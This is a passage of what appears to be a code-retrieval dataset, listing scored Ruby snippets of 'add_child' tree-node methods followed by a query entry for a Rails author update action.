"6e8570b639fb21f468644747040e922d", "score": "0.6840881", "text": "def add_child(node)\n @children << node unless @children.include?(node)\n node.parent = self\n end", "title": "" }, { "docid": "bcea70a046502b9e74eaf3f0f6d7d4df", "score": "0.68295604", "text": "def add_child(child)\n child.parent = self\n end", "title": "" }, { "docid": "bcea70a046502b9e74eaf3f0f6d7d4df", "score": "0.68295604", "text": "def add_child(child)\n child.parent = self\n end", "title": "" }, { "docid": "bcea70a046502b9e74eaf3f0f6d7d4df", "score": "0.68295604", "text": "def add_child(child)\n child.parent = self\n end", "title": "" }, { "docid": "7b2f34019c53b34c7e914d785a4e49d1", "score": "0.68159723", "text": "def add_child(child, name=nil)\n @children ||= []\n child.component_name = (name || @children.size).to_s if name != false\n child.parent_component = self\n @children << child\n return child\n end", "title": "" }, { "docid": "b18e007fc9f900e5452eacb7266b8b15", "score": "0.6801639", "text": "def add_child\n raise \"Should never call add_child on a limited_layer\"\n end", "title": "" }, { "docid": "a995c524570f779d4feea41590f00607", "score": "0.6785382", "text": "def add_child( child )\n child.reload\n\n if unknown?\n # Convert this node to a parent node\n self[left_col_name] = 1\n self[right_col_name] = 4\n return false unless self.save\n\n child[root_column] = self[root_column]\n child[parent_column] = self.id\n child[depth_column] = self[depth_column] + 1\n child[left_col_name] = 2\n child[right_col_name]= 3\n return child.save\n\n else\n\n # OK, we need to add and shift everything else to the right\n child[root_column] = self[root_column]\n child[parent_column] = self.id\n child[depth_column] = self[depth_column] + 1\n right_bound = self[right_col_name]\n child[left_col_name] = right_bound\n child[right_col_name] = right_bound + 1\n self[right_col_name] += 2\n self.class.transaction {\n self.class.update_all( \"#{left_col_name} = (#{left_col_name} + 2)\", \"#{scope_condition} AND #{root_column} = #{self[root_column]} AND #{left_col_name} >= #{right_bound}\" )\n self.class.update_all( \"#{right_col_name} = (#{right_col_name} + 2)\", \"#{scope_condition} AND #{root_column} = #{self[root_column]} AND #{right_col_name} >= #{right_bound}\" )\n self.save\n child.save\n }\n end\n end", "title": "" }, { "docid": "c2417ddcf2cb2c2c0d4188d1c0d4c98d", "score": "0.6778132", "text": "def add_child; end", "title": "" }, { "docid": "e19a0baa0e09fe8c72b06635c83ed7a5", "score": "0.6765102", "text": "def add(child)\n @value = value.add(child)\n end", "title": "" }, { "docid": "9bc470b59fc2e87f6de831bb64c34bb0", "score": "0.6761034", "text": "def add(child)\r\n raise \"Child already added\" if @childrenHash.has_key?(child.name)\r\n\r\n @childrenHash[child.name] = child\r\n @children << child\r\n child.parent = self\r\n return child\r\n\r\n end", "title": "" }, { "docid": "521ca5142827ff31f155b190afe524c0", "score": "0.6725838", "text": "def add_child(value)\n node = nil\n\n if has_child(value)\n node = get_child(value)\n node.part_of_words += 1\n else\n node = Node.new(value)\n @children[value] = node\n end\n\n return node\n end", "title": "" }, { "docid": "de87e23450ec3efcb4e44b0252496d14", "score": "0.670776", "text": "def add_child(t, child)\n if (!(t).nil? && !(child).nil?)\n (t).add_child(child)\n end\n end", "title": "" }, { "docid": "1dcb67428153c83eff7a3e3e1af4cf8f", "score": "0.6702516", "text": "def do_addchild(ch)\n @node.add_child(ch)\n end", "title": "" }, { "docid": "bfce66bae878505fa8eeebadef58bf29", "score": "0.6695713", "text": "def addChild(node)\n \t@children.push node\n end", "title": "" }, { "docid": "2dbfb160738556b94575fbb24dbcbeb0", "score": "0.6665402", "text": "def add_child(node)\n @children << node.id\n end", "title": "" }, { "docid": "175f330cd449e91cf05ede8203a339ac", "score": "0.66546386", "text": "def add_child(child)\n raise 'this element does not accept children' unless accepts_children?\n\n @children << child\n child.parent = self\n end", "title": "" }, { "docid": "a585629a519e86c9e1f26620c3bad2c7", "score": "0.66395235", "text": "def add_child( record )\n @children << record\n record.parent = self\n record\n end", "title": "" }, { "docid": "fb0cd1ac051946c491f0b892e21781a3", "score": "0.66294616", "text": "def add_child(*names)\n names.flatten!\n return unless (name = names.shift)\n\n node = children.find { |c| c.name == name }\n node ? node.add_child(names) : (children << TreeNode.new(name, names))\n end", "title": "" }, { "docid": "c4c783f3a35ba51e1ac79415e8e6676f", "score": "0.65924084", "text": "def add_closed_child(child)\n # Let the child steal any other children (unless they are anchored)\n children.each_value do |other|\n next if other.anchored?\n # Find out if the child (or any of its children) can contain it.\n best = child.best_parent(other)\n # If so, give it away.\n best.add_closed_child(other) if best\n end\n\n # Add to parent's children (possibly creating a unique index for ourselves)\n key = child.display\n index = 1\n while children.has_key?(key)\n index += 1\n key = \"#{child.display} #{index}\"\n end\n child.parent = self\n children[key] = child\n end", "title": "" }, { "docid": "b4a235a448a60276e6adf53c6db79131", "score": "0.659176", "text": "def add_child(child)\n begin\n add_child!(child)\n rescue ImpossibleReparent\n false\n end\n end", "title": "" }, { "docid": "cf6ce836a1c8e1921de9dfff963b8852", "score": "0.6578968", "text": "def add_child(node)\n return if ! node\n if @child\n @child.add_sibling(node)\n else\n node.detach\n @child = node\n end\n end", "title": "" }, { "docid": "0a5e5138473e462f16346f41289a7e15", "score": "0.6569987", "text": "def add_child_node(child_node)\n unless (@children.include?(child_node))\n child_node.parent = self\n @children << child_node \n end\n end", "title": "" }, { "docid": "92d5268a933bb960835ab77b4c6d9532", "score": "0.6569642", "text": "def add_child(child_node)\n # self == parent_node\n child_node.parent = self # child_node.parent=(self)\n end", "title": "" }, { "docid": "c83f0dcbb6acc8942f52b79563b172bb", "score": "0.656593", "text": "def <<(child)\n child.parent = self\n @children << child\n self\n end", "title": "" }, { "docid": "dce88104f25d63537f55aa35e0d71b2a", "score": "0.65656203", "text": "def add!(id, child)\n remove_id(id)\n @children[id] = child\n end", "title": "" }, { "docid": "00745484b795ef8ed896c0a8fb8299f5", "score": "0.65548104", "text": "def add_child(node)\n node.parent = self\n end", "title": "" }, { "docid": "00745484b795ef8ed896c0a8fb8299f5", "score": "0.65548104", "text": "def add_child(node)\n node.parent = self\n end", "title": "" }, { "docid": "00745484b795ef8ed896c0a8fb8299f5", "score": "0.65548104", "text": "def add_child(node)\n node.parent = self\n end", "title": "" }, { "docid": "0c42fab475dd819d32995ba9304abf27", "score": "0.65516114", "text": "def add_child(child_node)\n child_node.parent = self\n end", "title": "" }, { "docid": "0c42fab475dd819d32995ba9304abf27", "score": "0.65516114", "text": "def add_child(child_node)\n child_node.parent = self\n end", "title": "" }, { "docid": "7de70ba944014972df0a5b7d27041b69", "score": "0.6533123", "text": "def add_child(t, child)\n raise NotImplementedError\n end", "title": "" }, { "docid": "59c80035c6ab18965975de9d5ace6e62", "score": "0.65291226", "text": "def create_child(node)\n if @children.nil?\n @children = [node]\n else\n @children << node\n end\n end", "title": "" }, { "docid": "4617b45b6493d18da437d4dd54825b78", "score": "0.65263003", "text": "def <<(child)\n children[child.name] = child\n self\n end", "title": "" }, { "docid": "cf7f45a979c71980b2588cb2e3e22a68", "score": "0.65252095", "text": "def append_child(child, maintain_params = true)\n child.parent = self\n if maintain_params\n child.level = @level + 1\n last = last_descendant_or_self\n child.prev = last\n last.next, child.next = child, last.next\n child.next.prev = child if child.next != nil\n end\n @children.push(child)\n end", "title": "" }, { "docid": "f51cf4ed4f6ea4f0041ea2af4a5aa0e1", "score": "0.652414", "text": "def add(id, child)\n add!(id, child).tap(&method(:assign_parent_to))\n end", "title": "" }, { "docid": "48976acb853770ee4b5f74871d79c26e", "score": "0.6505154", "text": "def add_child(child)\n return if @children.include?(child)\n raise Gosling::InheritanceError.new(\"An Actor cannot be made a child of itself.\") if child == self\n ancestor = parent\n until ancestor.nil?\n raise Gosling::InheritanceError.new(\"Adding a child's ancestor as a child would create a circular reference.\") if child == ancestor\n ancestor = ancestor.parent\n end\n\n child.parent.remove_child(child) if child.parent\n @children.push(child)\n child.parent = self\n end", "title": "" }, { "docid": "6aa8fe7bd64aab59e2a6eebd8490947b", "score": "0.6496788", "text": "def add(child, should_add = true, &block)\n child.instance_eval(&block) if block_given?\n\n raise 'Widget already has a parent' unless child.parent.nil?\n\n gtk_instance.add(child.gtk_instance) if should_add\n child.parent = self\n\n # Ensure a children array exists, and add the new child to it\n @children ||= []\n children << child\n end", "title": "" }, { "docid": "d3a1ae723e9349574beff2b9963284d0", "score": "0.6494158", "text": "def add_child(node)\n add_edge(node)\n end", "title": "" }, { "docid": "d950a7c2dcfa32fb6e976853aebf5340", "score": "0.64807177", "text": "def <<(child)\n children << child\n end", "title": "" }, { "docid": "bea6c8168c4bf40ff15661d31545a211", "score": "0.64801884", "text": "def add_child(nc)\n nc.insert_me(\"childof\", self)\n end", "title": "" }, { "docid": "421f5170d9344b297660d439bd43128a", "score": "0.64772785", "text": "def add_child(cNode)\n cNode.parent=self\n end", "title": "" }, { "docid": "ab0658631960f885dbdd4c706603e1b8", "score": "0.647514", "text": "def add_child(child)\n Blueprints.warn(\"Overwriting existing blueprint\", child) if @children[child.name]\n @children[child.name] = child\n end", "title": "" }, { "docid": "7778e7e78f0e3b92b8a39d2e8a6d595c", "score": "0.64566827", "text": "def addChild(child,updateCall=nil,pos=-1)\n \t\t\tshape=child\n \t\t\t@updateCalls << [child,updateCall] if updateCall\n \t\tunless %x{#{child}.shape == null}\n \t\t\t\tshape=child.shape\n \t\t\tchild.plot=self\n \t\t\tchild.graph=@graph\n \t\t\t@graph.add(child)\n \t\tend\n \t\t#%x{console.log(\"addChild\"+shape)}\n \t\tif pos>=0\n \t\t\t%x{#{@parent}.addChildAt(#{shape},#{pos})}\n \t\telse\n \t\t\t#%x{console.log(\"add child \"+shape)}\n \t\t\t%x{#{@parent}.addChild(#{shape})}\n \t\tend\n \tend", "title": "" }, { "docid": "7778e7e78f0e3b92b8a39d2e8a6d595c", "score": "0.64566827", "text": "def addChild(child,updateCall=nil,pos=-1)\n \t\t\tshape=child\n \t\t\t@updateCalls << [child,updateCall] if updateCall\n \t\tunless %x{#{child}.shape == null}\n \t\t\t\tshape=child.shape\n \t\t\tchild.plot=self\n \t\t\tchild.graph=@graph\n \t\t\t@graph.add(child)\n \t\tend\n \t\t#%x{console.log(\"addChild\"+shape)}\n \t\tif pos>=0\n \t\t\t%x{#{@parent}.addChildAt(#{shape},#{pos})}\n \t\telse\n \t\t\t#%x{console.log(\"add child \"+shape)}\n \t\t\t%x{#{@parent}.addChild(#{shape})}\n \t\tend\n \tend", "title": "" }, { "docid": "e887375d6ef8324571d78c33e911d945", "score": "0.6456356", "text": "def <<(child)\n child.parent = self\n children << child\n end", "title": "" }, { "docid": "cd3e1219e52760cd7b51436a4833488d", "score": "0.6441488", "text": "def addChild(child,updateCall=nil,pos=-1)\n \t\t\tshape=child\n \t\t\t@updateCalls << [child,updateCall] if updateCall\n \t\tunless %x{#{child}.shape == null}\n \t\t\t\tshape=child.shape\n \t\t\tchild.plot=self\n \t\t\tchild.graph=@graph\n \t\t\t@graph.add(child)\n \t\tend\n \t\tif pos>=0\n \t\t\t%x{#{@parent}.addChildAt(#{shape},#{pos})}\n \t\telse\n \t\t\t%x{#{@parent}.addChild(#{shape})}\n \t\tend\n \tend", "title": "" }, { "docid": "cde3e670a88e3fddac90cac6e9c9bb28", "score": "0.6422567", "text": "def add_child(category)\n category.parent = self\n @children = Array.new if @children.nil?\n @children.push category\n return self\n end", "title": "" }, { "docid": "b5c0360253fcc978d7c1bba27d645eb8", "score": "0.6408669", "text": "def <<(child)\n return if child.nil?\n if child.is_a?(Array)\n child.each { |c| self << c }\n else\n @has_children = true\n child.parent = self\n @children << child\n end\n end", "title": "" }, { "docid": "3c6837c5fb170c0fb743b77b005dbdeb", "score": "0.64086187", "text": "def add_child(other)\n @child_cache << other\n end", "title": "" }, { "docid": "6ff02ab4cb2b0bbf1aad215ece8dc5b6", "score": "0.64041716", "text": "def << child\n case child\n when TreeNode\n raise ArgumentError, \"Cannot duplicate the root\" if root.equal?(child)\n child.parent = self\n @_node_children << child\n child\n when Array\n child.each { |c| self << c }\n nil\n else\n self << child.extend(TreeNode)\n end\n end", "title": "" }, { "docid": "872d297f946cfced86a84759cc34902d", "score": "0.6372901", "text": "def <<(aChild)\n @children << aChild\n\n self\n end", "title": "" }, { "docid": "5805129eaa6460df09d9a66aab69a5c0", "score": "0.6367793", "text": "def add_child(child_object)\n child_object.parent = self # Make sure the parent is set\n @child_objects.push(child_object)\n end", "title": "" }, { "docid": "5805129eaa6460df09d9a66aab69a5c0", "score": "0.6367793", "text": "def add_child(child_object)\n child_object.parent = self # Make sure the parent is set\n @child_objects.push(child_object)\n end", "title": "" } ]
37fa7a04a2340d2a1570c5acb4c41dd3
stop any action/hook and redirect right away.
[ { "docid": "dc0d0006dbcc75818f6a801d3c7bdd4e", "score": "0.0", "text": "def redirect path, status = nil\n delayed_redirect path, status\n halt\n end", "title": "" } ]
[ { "docid": "c4106a33713072c8595e136bb591941d", "score": "0.67901474", "text": "def stop\n current_user.stop\n EntretLog.stop( current_user.id )\n\n redirect_to action:\"stoped\"\n end", "title": "" }, { "docid": "e96bfafb6c32940979342aab794bbc5e", "score": "0.66481894", "text": "def stop\n @should_dispatch = false\n end", "title": "" }, { "docid": "6acb9fa8e264b3d32466b0ed6c5634f6", "score": "0.6550028", "text": "def halt\n request(:halt)\n end", "title": "" }, { "docid": "7529571c5debfdb38050d3ceda8e555f", "score": "0.65468705", "text": "def stop\n instance_action :stop\n end", "title": "" }, { "docid": "7eb48065a4f67c26917b27300581699b", "score": "0.65392566", "text": "def doStop\n @state.must_be_in(:ask)\n\n answer = penginePost(\n @po.getActualURLid('send', self.getID()),\n \"application/x-prolog; charset=UTF-8\",\n @po.getRequestBodyNext)\n\n handleAnswer(answer)\n end", "title": "" }, { "docid": "29b9fdf3ddf7bcaeddeb060788d29a96", "score": "0.6537867", "text": "def halt\n stop\n end", "title": "" }, { "docid": "3e5f1bac352060134e6f614e6c99b82d", "score": "0.65133566", "text": "def halt!; end", "title": "" }, { "docid": "3e5f1bac352060134e6f614e6c99b82d", "score": "0.65133566", "text": "def halt!; end", "title": "" }, { "docid": "3962d3f6518bc1504859b4117fbed2a5", "score": "0.65044755", "text": "def disable_action(controller,action)\n\t\tredirect_to :root\n\tend", "title": "" }, { "docid": "5874708a8b8ce5a35779e5e96b79c29d", "score": "0.64271927", "text": "def halt; end", "title": "" }, { "docid": "5874708a8b8ce5a35779e5e96b79c29d", "score": "0.64271927", "text": "def halt; end", "title": "" }, { "docid": "2ef34b64e3cfcb2510294212ce547072", "score": "0.63776535", "text": "def handle_redirect\n nil\n end", "title": "" }, { "docid": "4863703ec5f4959ac1f513559baeb51b", "score": "0.6376441", "text": "def stop_request; end", "title": "" }, { "docid": "bc27a3eb8917f4cf855772fab78afcb9", "score": "0.6344344", "text": "def halt_permanent_redirect(body, render_options = {})\n halt(308, body, render_options)\n end", "title": "" }, { "docid": "fc347aa01ec9b6ff30586a4cc93f48da", "score": "0.6335968", "text": "def action_stop\n domains_stop\n end", "title": "" }, { "docid": "d2a40eebd96350e113f34ae3ab285d60", "score": "0.6268966", "text": "def halt(force)\n end", "title": "" }, { "docid": "4de4abd5b0f8613758ea810f21ce3a77", "score": "0.62491584", "text": "def stop!; end", "title": "" }, { "docid": "4de4abd5b0f8613758ea810f21ce3a77", "score": "0.62491584", "text": "def stop!; end", "title": "" }, { "docid": "9778d012710d9d637d8b6073129a54bf", "score": "0.62410027", "text": "def halt!\n @halted = true\n end", "title": "" }, { "docid": "b9c9acefe3a6b204e3c661dcbcb9dea2", "score": "0.6238414", "text": "def halt!\n raise HaltHandlerProcessing\n end", "title": "" }, { "docid": "668dd6e15cd695f2eb972d991ade02a5", "score": "0.6226973", "text": "def stop\n Log.add_info(request, params.inspect)\n\n raise(RequestPostOnlyException) unless request.post?\n\n ApplicationHelper.delete_file_safe(Research.get_pages)\n render(:text => '')\n\n rescue => evar\n Log.add_error(request, evar)\n render(:text => evar.to_s)\n end", "title": "" }, { "docid": "62b81e7c67323ac55432972b4366c6b8", "score": "0.6200115", "text": "def cancel_action( msg=nil )\n\t\t\tself.raise_hook_failure( msg )\n\t\tend", "title": "" }, { "docid": "62b81e7c67323ac55432972b4366c6b8", "score": "0.6200115", "text": "def cancel_action( msg=nil )\n\t\t\tself.raise_hook_failure( msg )\n\t\tend", "title": "" }, { "docid": "fd1afdbb14220eeb188939feede44707", "score": "0.61954945", "text": "def halt!\n throw :halt, self.response\n end", "title": "" }, { "docid": "07f609b2db861441ecd33298c54c9fca", "score": "0.619219", "text": "def halt\n @halted = true\n end", "title": "" }, { "docid": "3f503ada50ae46fe9af7469bb3b2d430", "score": "0.61786336", "text": "def redirect *args\n delayed_redirect STATUS__REDIRECT, *args\n halt\n end", "title": "" }, { "docid": "aee0492be01f57fef495a8661fa50765", "score": "0.6177942", "text": "def halt\n @halt = true\n end", "title": "" }, { "docid": "aee0492be01f57fef495a8661fa50765", "score": "0.6177942", "text": "def halt\n @halt = true\n end", "title": "" }, { "docid": "99a27614036b37f64699c7c741ea9091", "score": "0.61615604", "text": "def request_stop\n\n end", "title": "" }, { "docid": "99a27614036b37f64699c7c741ea9091", "score": "0.61615604", "text": "def request_stop\n\n end", "title": "" }, { "docid": "858b35000349af6bd3ed06017ff65ab8", "score": "0.6129013", "text": "def perform_redirs(ctx, env:, frames:)\n ctx.reject do |e|\n redirectable?(e) &&\n redirect(e, env: env, frames: frames).nil?\n end\n end", "title": "" }, { "docid": "1617f8ec7979fa89db37672304e2c5d8", "score": "0.6126155", "text": "def halt\n deactivate!\n\n yield if block_given?\n ensure\n activate!(clear: false)\n end", "title": "" }, { "docid": "854a79b68dc302b39b7599cc58d68cc5", "score": "0.6101081", "text": "def stop\n @go = false\n end", "title": "" }, { "docid": "5135c89514d57314f3911f030d35fb12", "score": "0.6091011", "text": "def action_stop\n notify_if_service do\n service_resource.run_action(:stop)\n end\n end", "title": "" }, { "docid": "96a43a4b1bdc133e02e98a3a154e5250", "score": "0.6090903", "text": "def halt(*args)\n\t\t\trecord_flashes\n\t\t\tsuper\n\t\tend", "title": "" }, { "docid": "e12eb62f1de8033c4dcbfede8bc6d44f", "score": "0.60783255", "text": "def stop_action\n Stop.new :component_id => component_id, :target_call_id => target_call_id\n end", "title": "" }, { "docid": "d43a867b619e8c4021a518af99e92e5c", "score": "0.6074468", "text": "def stop\n\t\t#framework.events.on_ui_stop()\n\t\tsuper\n\tend", "title": "" }, { "docid": "c169d7574db87b07d9dc434c44f98401", "score": "0.60700166", "text": "def halt!\n @halted = true\n end", "title": "" }, { "docid": "c169d7574db87b07d9dc434c44f98401", "score": "0.60700166", "text": "def halt!\n @halted = true\n end", "title": "" }, { "docid": "5434c4d8359adf956248ed957fdb3177", "score": "0.6065929", "text": "def cancel\n __log_activity\n __debug_route\n @item = wf_single(event: :cancel)\n if request.get?\n # noinspection RubyMismatchedArgumentType\n redirect_to(params[:redirect] || upload_index_path)\n else\n post_response(:ok)\n end\n rescue => error\n if request.get?\n failure_status(error)\n else\n post_response(error)\n end\n end", "title": "" }, { "docid": "959e3e9a39ae5edd0eb62c0ddb980320", "score": "0.6053218", "text": "def redirect *args\n delayed_redirect EConstants::STATUS__REDIRECT, *args\n halt\n end", "title": "" }, { "docid": "59c02380ffbf74383508e0c865e913ad", "score": "0.6047941", "text": "def stop\n debug { \"stop requested\" }\n @keep_going = false\n end", "title": "" }, { "docid": "3591c01b337d30f63e8d4c27ab07c813", "score": "0.6040744", "text": "def halt_moved_permanently(body, render_options = {})\n halt(301, body, render_options)\n end", "title": "" }, { "docid": "77f24018bf9dc46c1eddc7a38316355b", "score": "0.6038467", "text": "def stop\n send_request(FUNCTION_STOP, [], '', 0, '')\n end", "title": "" }, { "docid": "9e8c8166864eb35d72976105098e68bb", "score": "0.60269016", "text": "def throw_away!; end", "title": "" }, { "docid": "f1415b5c3e7b4da4e99916e1ddb4990c", "score": "0.6026418", "text": "def stop_request_from_robot\n if request_from_robot?\n render_optional_error_file(404)\n return false\n end\n end", "title": "" }, { "docid": "4e33a41a73fe2bbb8b5e061a2391ed5f", "score": "0.6026209", "text": "def stop()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "af35aa5d2cf03642b8a54996b19e5af2", "score": "0.60166687", "text": "def cancel\n redirect_to root_path\n end", "title": "" }, { "docid": "7d2e6beab6641373bc520b00128fc2c1", "score": "0.60044664", "text": "def stop; end", "title": "" }, { "docid": "7d2e6beab6641373bc520b00128fc2c1", "score": "0.60044664", "text": "def stop; end", "title": "" }, { "docid": "7d2e6beab6641373bc520b00128fc2c1", "score": "0.60044664", "text": "def stop; end", "title": "" }, { "docid": "7d2e6beab6641373bc520b00128fc2c1", "score": "0.60044664", "text": "def stop; end", "title": "" }, { "docid": "7d2e6beab6641373bc520b00128fc2c1", "score": "0.60044664", "text": "def stop; end", "title": "" }, { "docid": "7d2e6beab6641373bc520b00128fc2c1", "score": "0.60044664", "text": "def stop; end", "title": "" }, { "docid": "7d2e6beab6641373bc520b00128fc2c1", "score": "0.60044664", "text": "def stop; end", "title": "" }, { "docid": "7d2e6beab6641373bc520b00128fc2c1", "score": "0.60044664", "text": "def stop; end", "title": "" }, { "docid": "7d2e6beab6641373bc520b00128fc2c1", "score": "0.60044664", "text": "def stop; end", "title": "" }, { "docid": "7d2e6beab6641373bc520b00128fc2c1", "score": "0.60044664", "text": "def stop; end", "title": "" }, { "docid": "7d2e6beab6641373bc520b00128fc2c1", "score": "0.60044664", "text": "def stop; end", "title": "" }, { "docid": "7d2e6beab6641373bc520b00128fc2c1", "score": "0.60044664", "text": "def stop; end", "title": "" }, { "docid": "7d2e6beab6641373bc520b00128fc2c1", "score": "0.60044664", "text": "def stop; end", "title": "" }, { "docid": "bc25d1442d5b5bf869f50e22a6bbc1ac", "score": "0.59975505", "text": "def expire_all_actions\n redirect_to :action => :index\n end", "title": "" }, { "docid": "56cbe1ff5b2ab477d2e53c2f93a7c625", "score": "0.59909034", "text": "def deny(&block)\n queue_hook(\n lambda do |controller|\n if block.call(controller)\n request, response = controller.request, controller.response\n\n # Neither of the checks passed, redirect the user appropriately based on session authentication status\n if request.session.authenticated?\n if controller.respond_to?(:logger)\n controller.logger.warn \"Authenticated User #{request.session.user.inspect} was denied access to '#{request.uri}'\"\n end\n response.unauthorized\n \n throw :halt, response.render(\"session/unauthorized\")\n else\n throw :halt, response.redirect(\"/session?referrer=#{Rack::Utils.escape(request.env[\"REQUEST_URI\"])}\")\n end\n else\n # No action taken\n end\n end\n )\n end", "title": "" }, { "docid": "b411599380276357e6160f2e23d5ac19", "score": "0.5979451", "text": "def stop!\n @stop_requested = true\n end", "title": "" }, { "docid": "b600c17d3243fb05c32f0c8428775c1c", "score": "0.5972244", "text": "def action_stop\n container.run_action(:kill)\n end", "title": "" }, { "docid": "b384f8370a182f05bbb27bd0e3daec5c", "score": "0.5964573", "text": "def halt\n @halts = true\n end", "title": "" }, { "docid": "e17fd7155f17c20e3c80fd900f00fbcf", "score": "0.59530187", "text": "def stop!\n if @handler\n # Use thins' hard #stop! if available, otherwise just #stop\n @handler.respond_to?(:stop!) ? @handler.stop! : @handler.stop\n @handler = nil\n \n yield if block_given?\n end\n \n self\n end", "title": "" }, { "docid": "4a19a04fb28165ba31966d8685584c2f", "score": "0.5951409", "text": "def halt!\n raise Marvin::HaltHandlerProcessing\n end", "title": "" }, { "docid": "b55c3dd0165e75831dd23d7ced5298c9", "score": "0.5942523", "text": "def stop\n @continue = false\n end", "title": "" }, { "docid": "b5e998e7dbcc05918704e476219ddfd5", "score": "0.5927289", "text": "def geo_turn_off\n $testCaseID = \"VT229-0166\"\n puts \"########## GEOLOCATION TURNOFF ###############\"\n GeoLocation.turnoff\n return\n redirect :action => :index\n end", "title": "" }, { "docid": "4acd15aaeb7476e768751232d8e68e89", "score": "0.5926491", "text": "def kill!\n self.stop_propagation.prevent_default\n end", "title": "" }, { "docid": "0967479b8c9057813b9aa066b366f343", "score": "0.5926141", "text": "def end_action(logger = nil)\n return if action == UNDEFINED || @context[:status] == STATUS_OUTSIDE\n\n self.status = STATUS_END\n logger.info '' if logger\n self.status = STATUS_OUTSIDE\n self.action = UNDEFINED\n end", "title": "" }, { "docid": "df5ce843ad27f39cdaa6a388b32b1216", "score": "0.59233445", "text": "def stop\n throw :stop\n end", "title": "" }, { "docid": "abfd067f9d8a6b0f24abe19badcb6792", "score": "0.59229964", "text": "def permanent_redirect *args\n delayed_redirect EConstants::STATUS__PERMANENT_REDIRECT, *args\n halt\n end", "title": "" }, { "docid": "db1506d42dd4f9260d874481a23d08aa", "score": "0.59211934", "text": "def cancelpause\n render :update do |page|\n page.redirect_to url_for(:controller=>'administration', :action=>'pausereason')\n end\nend", "title": "" }, { "docid": "8220d3c1c14d9819933d0dfecfd9539b", "score": "0.59181625", "text": "def stop!(options = {})\n raise InvalidActionError, \"Cannot stop a #{self.class.name.split(\"::\").last} that is #{state}\" unless executing?\n stop_action.tap { |action| write_action action }\n end", "title": "" }, { "docid": "fbe277bc4a7ccf7b6999424a1b1423a8", "score": "0.5917196", "text": "def erase_redirect_results #:nodoc:\n @performed_redirect = false\n response.status = DEFAULT_RENDER_STATUS_CODE\n response.headers.delete('Location')\n end", "title": "" }, { "docid": "62f89f4a09c0458c7fe464ea1ed68009", "score": "0.591279", "text": "def halt\n EventMachine.stop_event_loop if EventMachine.reactor_running?\n self\n end", "title": "" }, { "docid": "21041ce3a53b891d558b6d217bf631b2", "score": "0.59124714", "text": "def stop!\n invoke [:stop]\n end", "title": "" }, { "docid": "83e62aa141085d7acf62df7b414fb2ed", "score": "0.5900216", "text": "def stop\n #This is a stub, used for indexing\nend", "title": "" }, { "docid": "be9c1fdb9e7611eb20068e98770e30cb", "score": "0.5888443", "text": "def stop_client\n @session.execute_script %Q{\n window.location = \"about:blank\";\n }\n end", "title": "" }, { "docid": "79ad5945b15d54e1978be6fd041872ab", "score": "0.5885103", "text": "def halt!\n @halted ||= true\n end", "title": "" }, { "docid": "b1bead7141aaae3e0c53d02055cfe5e6", "score": "0.5882585", "text": "def kill\n stop_propagation\n prevent_default\n end", "title": "" }, { "docid": "3431a6b3fa847dc4b22c2a851437809f", "score": "0.58792895", "text": "def erase_redirect_results #:nodoc:\n @performed_redirect = false\n response.redirected_to = nil\n response.redirected_to_method_params = nil\n response.status = DEFAULT_RENDER_STATUS_CODE\n response.headers.delete('Location')\n end", "title": "" }, { "docid": "99719248926c3196986c323902d36067", "score": "0.5869541", "text": "def stop\r\n end", "title": "" }, { "docid": "8d89d569bd167a7c3f7326d769e5814c", "score": "0.5866231", "text": "def halted_callback_hook(filter, _)\n ActiveSupport::Notifications.instrument(\"halted_callback.action_controller\", filter: filter)\n end", "title": "" }, { "docid": "44ed6ed5f41983e633d456175ebd5379", "score": "0.5858277", "text": "def cancel; end", "title": "" }, { "docid": "44ed6ed5f41983e633d456175ebd5379", "score": "0.5858277", "text": "def cancel; end", "title": "" }, { "docid": "44ed6ed5f41983e633d456175ebd5379", "score": "0.5858277", "text": "def cancel; end", "title": "" }, { "docid": "44ed6ed5f41983e633d456175ebd5379", "score": "0.5858277", "text": "def cancel; end", "title": "" }, { "docid": "44ed6ed5f41983e633d456175ebd5379", "score": "0.5858277", "text": "def cancel; end", "title": "" }, { "docid": "44ed6ed5f41983e633d456175ebd5379", "score": "0.5858277", "text": "def cancel; end", "title": "" }, { "docid": "44ed6ed5f41983e633d456175ebd5379", "score": "0.5858277", "text": "def cancel; end", "title": "" }, { "docid": "44ed6ed5f41983e633d456175ebd5379", "score": "0.5858277", "text": "def cancel; end", "title": "" }, { "docid": "1f5aa88689bd4fb1365ca63b45d1ed2e", "score": "0.5855848", "text": "def stop\n execute_only(:stop)\n end", "title": "" }, { "docid": "37ab6eb492bfd0c77f173a21a42bf561", "score": "0.58535683", "text": "def disable_at_exit_handlers!; end", "title": "" }, { "docid": "37ab6eb492bfd0c77f173a21a42bf561", "score": "0.58535683", "text": "def disable_at_exit_handlers!; end", "title": "" }, { "docid": "b1fe44363db1331a344e92a4b01732a6", "score": "0.58512336", "text": "def redirect; end", "title": "" }, { "docid": "7fd4d5972636d62bb8b1b6ec6c2b7bb5", "score": "0.5848694", "text": "def stop!\n @stop = true\n end", "title": "" }, { "docid": "74a6230b3332ba19f6c1ba9eec46993d", "score": "0.5844996", "text": "def kill\n stop\n prevent\n end", "title": "" }, { "docid": "c78f4c2e1f40d28f91c2fad58355d017", "score": "0.5844361", "text": "def process_action(*)\n # We are now catching the throw that could be sent\n # when halting from a before callback.\n self.response_body = catch(:halt) { super }\n end", "title": "" } ]
d46f103cb1fb8b2a1f4e63c0fda8783b
PUT /authors/1 PUT /authors/1.xml
[ { "docid": "df6d42936ab52157e3f80ec219c42ae9", "score": "0.6348718", "text": "def update\n @author = Author.find(params[:id])\n\n respond_to do |format|\n if @author.update_attributes(params[:author])\n flash[:notice] = 'Author was successfully updated.'\n format.html { redirect_to author_url(@author) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @author.errors.to_xml }\n end\n end\n end", "title": "" } ]
